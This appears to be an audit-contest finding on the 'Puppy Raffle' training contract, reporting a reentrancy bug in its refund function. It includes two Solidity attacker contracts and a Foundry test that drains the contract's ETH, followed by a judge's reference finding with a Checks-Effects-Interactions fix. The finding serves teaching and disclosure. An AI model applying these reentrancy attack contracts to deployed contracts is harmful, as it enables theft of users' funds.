Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[H-01] Reentrancy in PuppyRaffle::refund Allows Malicious Players to Drain Entire Raffle Contract Balance

[H-01] Reentrancy in PuppyRaffle::refund Allows Malicious Players to Drain Entire Raffle Contract Balance

  • Impact: High

  • Likelihood: High

  • Scope: src/PuppyRaffle.sol

Root + Impact

The refund function sends ETH to the caller before updating the player's address in the players array, allowing an attacker to re-enter refund and drain all contract funds.

Description

  • The refund function allows any registered player to reclaim their paid entrance fee before a winner is selected, subsequently marking their spot in the players array as address(0).

  • The contract makes an external call to msg.sender using sendValue(entranceFee) prior to updating state (players[playerIndex] = address(0)). A malicious contract can implement a fallback/receive function that recursively calls refund(playerIndex), executing multiple withdrawals before the state variable is zeroed.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any player interacting through a smart contract can trigger refund at any time while the raffle is active.

  • The exploit requires zero privileged access and minimal gas to execute reentrant calls until the balance is exhausted.

Impact:

  • Complete loss of all ETH held in the PuppyRaffle contract (both active player deposits and unwithdrawn protocol fees).

  • The protocol becomes insolvent, rendering honest participants unable to get refunded or claim winner prize pools.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract ReentrancyAttacker {
PuppyRaffle public puppyRaffle;
uint256 public entranceFee;
uint256 public attackerIndex;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
}
contract ReentrancyTest is Test {
PuppyRaffle puppyRaffle;
ReentrancyAttacker attackerContract;
uint256 entranceFee = 1 ether;
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, address(99), 1 days);
// 4 honest players enter
address[] memory honestPlayers = new address[](4);
honestPlayers[0] = address(1);
honestPlayers[1] = address(2);
honestPlayers[2] = address(3);
honestPlayers[3] = address(4);
vm.deal(address(1), 10 ether);
vm.prank(address(1));
puppyRaffle.enterRaffle{value: entranceFee * 4}(honestPlayers);
attackerContract = new ReentrancyAttacker(address(puppyRaffle));
vm.deal(address(attackerContract), 1 ether);
}
function test_reentrancy_drain() public {
uint256 contractBalanceBefore = address(puppyRaffle).balance;
assertEq(contractBalanceBefore, 4 ether);
attackerContract.attack();
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(attackerContract).balance, 5 ether); // 1 initial + 4 stolen
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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